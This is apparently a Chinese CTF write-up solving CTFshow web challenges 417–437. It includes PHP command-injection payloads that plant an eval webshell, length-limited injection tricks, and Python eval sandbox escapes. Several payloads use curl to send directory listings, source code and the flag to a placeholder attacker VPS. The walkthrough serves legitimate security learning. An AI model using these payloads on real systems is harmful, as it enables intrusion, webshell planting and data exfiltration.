CTFSHOW | 其他篇题解(二)web417 - web437

文章目录

前言

由于题目比较多,所以分三个部分来写,这是第二部分

题目列表

web417

有个3.php文件,下载后是一段加密代码,用ai解密

得到代码

php 复制代码
include('flag.php');
$c=$_GET['ctf'];
if($c=='show'){
	echo $flag;
}else{
	echo 'FLAG_NOT_HERE';
}
?>

GET传入

复制代码
?ctf=show

成功得到flag

web418

先看代码

由于变量key已经被赋值为0,因此这个后门没什么用,需要另辟蹊径

然后我们可以看到有个extract函数,这是PHP里的一个函数调用。extract()作用是把数组里的键名当作变量名,在当前作用域创建同名变量,并赋值为数组的对应值。比如$_POST['wayne']=123时,extract($_POST);之后就有了变量$wayne=123

我们看这个代码

php 复制代码
$die?die('FLAG_NOT_HERE'):clear($clear);

由于变量die没有被赋值,因此可以进行变量覆盖 。这是三目运算符 ,我们可以传入0来触发后面的clear($clear)

继续往下划,可以看到clear函数的定义

给变量clear用分号截断命令即可,POST传入

复制代码
die=0&clear=;echo '<?=eval($_POST[1]);?>'>/var/www/html/1.php

然后蚁剑连接

在网页根目录找到flag

web419

先看代码

这题要求POST传入参数code,且长度要小于17,然后eval执行php代码

咱们用反引号 执行命令即可,把当前目录下的flag.php复制到1.txt

payload:

复制代码
code=`cp f* 1.txt`;

然后打开1.txt读取flag即可

web420

先看代码

这次code长度被限制在8位以内,也就是7位,然后eval函数也换成了system。有几个方法可以做这题

方法一:nl输出

nl命令是Linux系统中的一个命令行工具,全称是"number lines",用于给文本文件或标准输入的每一行添加行号,并将结果输出。它类似于cat -n,但nl对行号显示格式和处理方式更灵活

经过尝试,发现flag在/var/www目录里面

payload:

复制代码
code=nl ../*

方法二:写文件并执行

非常妙的一个方法,强烈建议学习,参考文章:命令注入长度限制绕过

假设我们要写入webshell

目标是传入echo PD89ZXZhbCgkX1BPU1RbMV0pOw==|base64 -d>1.php;

先用重定向符创建文件,依次执行以下命令

bash 复制代码
>hp\;
>1.p\\
>d\>\\
>\-\\
>4\ \\
>e6\\
>bas\\
>=\|\\
>w=\\
>0pO\\
>bMV\\
>U1R\\
>1BP\\
>gkX\\
>hbC\\
>ZXZ\\
>PD89\\
>o\ \\
>ech\\

然后把这些文件名以时间倒序形式写入任意一个文件,例如0

bash 复制代码
ls -t>0

最后运行文件即可,会执行0里面的命令,然后在当前目录创建一个1.php

bash 复制代码
sh 0

连接蚁剑即可

成功找到flag

web421

先看代码

这次是要求code长度小于6,也就是长度为5

经过测试,发现flag就在当前目录。直接nl读取就可以

payload:

复制代码
code=nl f*

然后打开源代码查看flag

web422

先看代码

相比上题,这题的code长度被限制在5以内

直接nl打印全部内容即可

payload:

复制代码
code=nl *

然后查看网页源码

web423

打开源代码,可以看到提示

拼接code参数,一开始用PHP和直接执行命令都不行。经过测试,这个网站是python文件运行的,要用python代码执行

payload:

复制代码
?code=os.popen('ls').read()

可以把原始代码打印出来看看

复制代码
?code=os.popen('cat app.py').read()
python 复制代码
from flask import Flask 
from flask import request 
import os 

app = Flask(__name__) 
@app.route('/') 
def app_index():
	code = request.args.get('code') 
	if code: 
		return eval(code) 
	return 'where is flag?<!-- /?code -->' 

if __name__=="__main__": 
	app.run(host='0.0.0.0',port=80)

执行命令获取flag即可

复制代码
?code=os.popen('cat /flag').read()

web424

这题用?code=os.popen('ls').read()会报内部错误,既然执行命令不可以,我们试试直接用open函数读取文件

复制代码
?code=open('app.py').read()

成功执行,得到网页源码

python 复制代码
from flask import Flask
from flask import request


app = Flask(__name__)
@app.route('/')
def app_index():
    code = request.args.get('code')
    if code:
    	return eval(code)
    return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)

可以看到,这次没有了os模块,没办法执行系统命令了,不过不影响我们读取文件

payload:

复制代码
?code=open('/flag').read()

成功得到flag

web425

跟上题一样,先读取源代码看看

复制代码
?code=open('app.py').read()
python 复制代码
from flask import Flask
from flask import request


app = Flask(__name__)
@app.route('/')
def app_index():
    code = request.args.get('code')
    if code:
    	if 'os' not in code:
    		return eval(code)
    return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)

可以看到这题相比上题,过滤了code里面的os字符串,其他都是一样的,不影响我们做题

payload:

复制代码
?code=open('/flag').read()

web426

上题的payload也能用,先看源码

复制代码
?code=open('app.py').read()
python 复制代码
from flask import Flask
from flask import request
import re

app = Flask(__name__)
@app.route('/')
def app_index():
    code = request.args.get('code')
    if code:
    	reg = re.compile(r'os|popen')
    	if reg.match(code)==None:
    		return eval(code)
    return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)

这题的正则匹配改了,简单解释一下

  • re.compile(r'os|popen') 创建了一个模式,表示"匹配 ospopen"
  • 竖线 | 是"或"的意思
  • reg.match(code) 表示只从字符串开头匹配:
    • 如果字符串开头含 ospopen,匹配成功
    • 否则匹配失败(即 None

也就是开头不能包含os和popen,不过对我们影响不大

payload:

复制代码
?code=open('/flag').read()

web427

可以继续用上题的payload,先看源码

复制代码
?code=open('app.py').read()
python 复制代码
from flask import Flask
from flask import request
import re

app = Flask(__name__)
@app.route('/')
def app_index():
    code = request.args.get('code')
    if code:
    	reg = re.compile(r'os|popen|system')
    	if reg.match(code)==None:
    		return eval(code)
    return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)

这题比上题多过滤了system,不影响做题

payload:

复制代码
?code=open('/flag').read()

web428

可以继续用上题的payload看源码

复制代码
?code=open('app.py').read()
python 复制代码
from flask import Flask
from flask import request
import re

app = Flask(__name__)
@app.route('/')
def app_index():
    code = request.args.get('code')
    if code:
    	reg = re.compile(r'os|popen|system|read')
    	if reg.match(code)==None:
    		return eval(code)
    return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)

这题比上题多过滤了read ,不过因为reg.match(code)匹配的是开头,所以对我们没有影响

payload:

复制代码
?code=open('/flag').read()

web429

这题一开始用open('app.py').read()执行不了,猜测是某个地方被过滤了,经过尝试,在前面加个空格即可绕过限制

复制代码
?code= open('app.py').read()

源代码:

python 复制代码
from flask import Flask
from flask import request
import re

app = Flask(__name__)
@app.route('/')
def app_index():
    code = request.args.get('code')
    if code:
    	reg = re.compile(r'os|open|system|read')
    	if reg.match(code)==None:
    		return eval(code)
    return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)

可以看到,这题过滤了open字符串,因为re.match()从字符串开头匹配,所以我们在前面加个空格即可绕过

payload:

复制代码
?code= open('/flag').read()

web430

可以用上题的payload,先看源代码

复制代码
?code= open('app.py').read()
python 复制代码
from flask import Flask
from flask import request
import re

app = Flask(__name__)
@app.route('/')
def app_index():
    code = request.args.get('code')
    if code:
    	reg = re.compile(r'os|open|system|read|eval')
    	if reg.match(code)==None:
    		return eval(code)
    return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)

这题把eval也过滤了,不过对我们没影响

payload:

复制代码
?code= open('/flag').read()

web431

继续用上题的方法做就好,看看源码

复制代码
?code= open('app.py').read()
python 复制代码
from flask import Flask
from flask import request
import re

app = Flask(__name__)
@app.route('/')
def app_index():
    code = request.args.get('code')
    if code:
    	reg = re.compile(r'os|open|system|read|eval|str')
    	if reg.match(code)==None:
    		return eval(code)
    return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)

这次多过滤了str,不影响做题

payload:

复制代码
?code= open('/flag').read()

web432

这题用不了之前的方法了,看了网上其他师傅的做法,可以用类似SSTI模板注入的方法来做,构造一条命令执行的链子

由于os.system()不会把命令的输出结果返回给 Python 程序,所以我们用curl外带数据显示

payload:

复制代码
?code=str(__builtins__.__dict__['__impo'%2b'rt__']('o'%2b's').__getattribute__('syste'%2b'm')('curl http://你的vps地址:端口?p=`ls`'))

简单解释里面的一些代码

复制代码
__builtins__.__dict__['__impo'%2b'rt__']('o'%2b's').__getattribute__('syste'%2b'm')
  • __builtins__:是 Python 的一个内置模块,包含了所有内建函数和对象(如 print, str, dict 等)。它在任何 Python 代码中都可以直接访问

  • __dict__:这是 Python 对象的一个特殊属性,它是一个字典(dict) ,存储了该对象(这里是 __builtins__ 模块)的所有属性。键是属性名,值是属性本身

  • __builtins__.__dict__['__import__']:这部分代码通过字典键值查询的方式,从 __builtins__ 模块中获取了内建函数 __import__。这和直接写 __import__ 是一样的,但更隐蔽

  • __getattribute__:是 Python 对象的一个方法,用于获取对象的属性。os.__getattribute__('system') 的效果和 os.system 完全一样

%2b表示+号,目的是为了绕过正则匹配限制

我们可以通过curl把app.py内容转为base64编码外带到vps显示

复制代码
?code=str(__builtins__.__dict__['__impo'%2b'rt__']('o'%2b's').__getattribute__('syste'%2b'm')('curl http://你的vps地址:端口?p=`base64 -w 0 app.py`'))

默认情况下,base64 命令输出的编码字符串会在每 76 个字符后自动换行 ,所以我们不用cat app.py|base64,会显示不完整,我们用base64 -w 0 app.py即可,参数 -w 0表示取消换行

解码base64,成功得到网站源码

python 复制代码
from flask import Flask
from flask import request
import re

app = Flask(__name__)
@app.route('/')
def app_index():
    code = request.args.get('code')
    if code:
    	reg = re.compile(r'os|open|system|read|eval')
    	if reg.search(code)==None:
    		return eval(code)
    return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)

可以看到之前的reg.match(code)改成了reg.search(code),意味着从检测开头变换到检测整个字符串

最后找flag就可以

payload:

复制代码
?code=str(__builtins__.__dict__['__impo'%2b'rt__']('o'%2b's').__getattribute__('syste'%2b'm')('curl http://你的vps地址:端口?p=`cat /flag`'))

得到的flag没有括号,自行加个括号就可以

web433

直接用上题的payload会不行,经过测试发现去掉builtins就可以了

复制代码
?code=str(__import__('o'%2b's').__getattribute__('syste'%2b'm')('curl http://你的vps地址:端口?p=`ls`'))

也可以把so反转成os,[::-1] 是 Python 中字符串切片 的写法,表示反转字符串。'so'[::-1]结果是 os

复制代码
?code=str(__import__('so'[::-1]).__getattribute__('syste'%2b'm')('curl http://你的vps地址:端口?p=`ls`'))

老样子,我们看看源码,方法跟上题一样,base64带出来

python 复制代码
from flask import Flask
from flask import request
import re

app = Flask(__name__)
@app.route('/')
def app_index():
    code = request.args.get('code')
    if code:
    	reg = re.compile(r'os|open|system|read|eval|builtins')
    	if reg.search(code)==None:
    		return eval(code)
    return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)

可以看到这题把builtins模块禁了,我们直接import就可以

payload:

复制代码
?code=str(__import__('o'%2b's').__getattribute__('syste'%2b'm')('curl http://你的vps地址:端口?p=`cat /flag`'))

web434

经过测试,发现这题是把curl过滤了,加个'%2b'在中间就可以

复制代码
?code=str(__import__('o'%2b's').__getattribute__('syste'%2b'm')('cu'%2b'rl http://你的vps地址:端口?p=`ls`'))

我们看看源码

python 复制代码
from flask import Flask
from flask import request
import re


app = Flask(__name__)

def Q2B(uchar):
    """单个字符 全角转半角"""
    inside_code = ord(uchar)
    if inside_code == 0x3000:
        inside_code = 0x0020
    else:
        inside_code -= 0xfee0
    if inside_code < 0x0020 or inside_code > 0x7e: #转完之后不是半角字符返回原来的字符
        return uchar
    return chr(inside_code)
    
def stringQ2B(ustring):
    """把字符串全角转半角"""
    return "".join([Q2B(uchar) for uchar in ustring])

@app.route('/')
def app_index():
    code = request.args.get('code')
    if code:
    	code = stringQ2B(code)
    	reg = re.compile(r'os|open|system|read|eval|builtins|curl')
    	if reg.search(code)==None:
    		return eval(code)
    return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)

发现多了两个函数,用于将字符串中的全角字符转换为半角字符 ,然后后面调用 stringQ2Bcode 中的全角字符全部转为半角,返回结果重新赋值给 code,对我们影响不大

payload:

复制代码
?code=str(__import__('o'%2b's').__getattribute__('syste'%2b'm')('cu'%2b'rl http://你的vps地址:端口?p=`cat /flag`'))

web435

测试发现是把下划线禁了 ,我们可以用web433提到的字符串切片方法来反转字符串

首先构建反转代码,我们可以直接引入os,然后调用里面的system函数,原始代码:import os; os.system("curl http://你的vps地址:端口?p=ls")

复制代码
?code=str(')"`sl`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1])

可以在网页看到原始代码

我们具体解释一下[::-1]代码,Python 的切片语法是:

复制代码
sequence[start:stop:step]
  • start 是切片起始索引(包含该位置)
  • stop 是结束索引(不包含该位置)
  • step 是步长(跨越的索引间隔)

其中三个参数都可以省略

[::-1] 的含义:

  • startstop 都省略,表示从序列的头到尾
  • step-1 ,表示步长为-1,即反向遍历序列

这样会创建序列的反转副本,不改变原序列

然后我们用exec执行这串代码就可以

payload:

复制代码
?code=str(exec(')"`sl`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1]))

可以把它的源码爆出来看看

复制代码
?code=str(exec(')"`yp.ppa 0 w- 46esab`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1]))
python 复制代码
from flask import Flask
from flask import request
import re


app = Flask(__name__)

def Q2B(uchar):
    """单个字符 全角转半角"""
    inside_code = ord(uchar)
    if inside_code == 0x3000:
        inside_code = 0x0020
    else:
        inside_code -= 0xfee0
    if inside_code < 0x0020 or inside_code > 0x7e: #转完之后不是半角字符返回原来的字符
        return uchar
    return chr(inside_code)

def stringQ2B(ustring):
    """把字符串全角转半角"""
    return "".join([Q2B(uchar) for uchar in ustring])

@app.route('/')
def app_index():
    code = request.args.get('code')
    if code:
    	code = stringQ2B(code)
    	reg = re.compile(r'os|open|system|read|eval|builtins|curl|_')
    	if reg.search(code)==None:
    		return eval(code)
    return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)

最后我们找flag就可以

payload:

复制代码
?code=str(exec(')"`galf/ tac`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1]))

web436

可以继续用上题的方法

我们把源码爆出来看看

python 复制代码
from flask import Flask
from flask import request
import re


app = Flask(__name__)

def Q2B(uchar):
    """单个字符 全角转半角"""
    inside_code = ord(uchar)
    if inside_code == 0x3000:
        inside_code = 0x0020
    else:
        inside_code -= 0xfee0
    if inside_code < 0x0020 or inside_code > 0x7e: #转完之后不是半角字符返回原来的字符
        return uchar
    return chr(inside_code)

def stringQ2B(ustring):
    """把字符串全角转半角"""
    return "".join([Q2B(uchar) for uchar in ustring])

@app.route('/')
def app_index():
    code = request.args.get('code')
    if code:
    	code = stringQ2B(code)
    	reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr')
    	if reg.search(code)==None:
    		return eval(code)
    return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)

可以看到这题把getattr过滤了,不过不影响我们做题,步骤跟上题一样

payload:

复制代码
?code=str(exec(')"`galf/ tac`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1]))

web437

跟上题一样的方法

爆出源码看看

python 复制代码
from flask import Flask
from flask import request
import re


app = Flask(__name__)

def Q2B(uchar):
    inside_code = ord(uchar)
    if inside_code == 0x3000:
        inside_code = 0x0020
    else:
        inside_code -= 0xfee0
    if inside_code < 0x0020 or inside_code > 0x7e: 
        return uchar
    return chr(inside_code)

def stringQ2B(ustring):
    return "".join([Q2B(uchar) for uchar in ustring])

@app.route('/')
def app_index():
    code = request.args.get('code')
    if code:
    	code = stringQ2B(code)
    	if '\\u' in code:
    		return 'hacker?'
    	reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr')
    	if reg.search(code)==None:
    		return eval(code)
    return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)

多了个if '\\u' in code\\u 是一种表示 Unicode 编码字符 的转义序列

具体说明:

  • 在字符串里,\u 后面跟着 4 位十六进制数字,用来表示一个 Unicode 字符的编码
  • 比如 \u4f60 表示汉字 "你",\u597d 表示汉字 "好"
  • 这种写法在很多编程语言和数据格式(如 JSON)中都用来表达非 ASCII 字符

这次过滤对我们影响不大,可以继续用上题的步骤

payload:

复制代码
?code=str(exec(')"`galf/ tac`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1]))